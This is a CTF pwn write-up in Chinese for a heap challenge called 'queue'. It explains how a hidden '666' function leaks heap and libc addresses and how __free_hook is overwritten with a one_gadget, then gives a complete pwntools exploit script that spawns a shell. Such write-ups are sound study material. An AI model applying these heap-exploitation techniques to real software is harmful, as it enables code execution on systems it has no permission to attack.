这道题笔者感觉就是结构体逆清楚程序逆清楚就能解,考点大部分在逆向上了
这是Ex师傅当时给的结构体,之后Ex师傅一会就解出来了,也就没我这个菜鸡什么事了
笔者结合上面的结构体再把程序涂涂改改之后就成上面这样了
上面这个是666功能,可以很清楚的知道这个功能是改结构体里的数据的
所以到了这一步之后果断看了一下show功能
可以通过666修改start_cur,这样show的时候就会泄露出需要的东西
调试一下,发现通过局部覆盖来show出堆地址
show出堆地址之后接下来就需要泄露出libc地址,因为可以delete,所以可以delete出main_arena,这样通过泄露出的堆地址算出main_arena那个堆地址,再利用上面的666改star_cur为main_arena那个堆地址就可以泄露出libc地址了
泄露出libc之后我们需要进行任意地址写
看到edit函数之后应该就知道怎么做了,利用666把start_cur改成free_hook,value_idx改成0,这样v7就是free_hook了
idx_value_idx_value受我们控制,所以可以任意地址写,打hook为one_gadget,这里的one_gadget需要one_gadget -l2 2.27/libc-2.27.so
这样来取
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './queue'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'Queue Management: '
def add(size):
r.sendlineafter(menu, '1')
r.sendlineafter('Size: ', str(size))
def edit(index, value_index, value):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Value idx: ', str(value_index))
r.sendlineafter('Value: ', str(value))
def show(index, num):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Num: ', str(num))
def delete():
r.sendlineafter(menu, '4')
def backdoor(index, content):
r.sendlineafter(menu, '666')
r.sendlineafter('Index: ', str(index))
r.sendafter('Content: ', content)
def leak(num):
r.recvuntil('Content: ')
data = 0
for i in range(num):
l = int(r.recv(2), 16) << i * 8
r.recvuntil('\n')
data += l
return data
add(0x100)
dbg()
p1 = p64(0) * 2 + b'\x88'
backdoor(0, p1)
show(0, 8)
heap_base = leak(6) - 0x11ec0
li('heap_base = ' + hex(heap_base))
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
delete()
delete()
delete()
delete()
delete()
target_addr = heap_base + 0x13900
p2 = p64(0) * 2 + p64(target_addr + 0x10)
backdoor(0, p2)
show(0, 8)
libc_addr = leak(6)
li('libc_addr = ' + hex(libc_addr))
malloc_hook = libc_addr - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./2.27/libc-2.27.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
one = [0x4f2a5, 0x4f302, 0xe534f, 0xe54f7, 0xe54fe, 0xe5502, 0xe553d, 0x10a2fc, 0x10a308]
one_gadget = one[4] + libc_base
system_addr = libc_base + libc.sym['system']
li('system_addr = ' + hex(system_addr))
p3 = p64(0) + p64(0x8) + p64(free_hook) * 2
backdoor(0, p3)
for i in range(6):
byte = one_gadget & 0xff
li('byte = ' + hex(byte))
edit(0, i, byte)
one_gadget >>= 8
add(0x100)
r.interactive()
一次不成功多打几次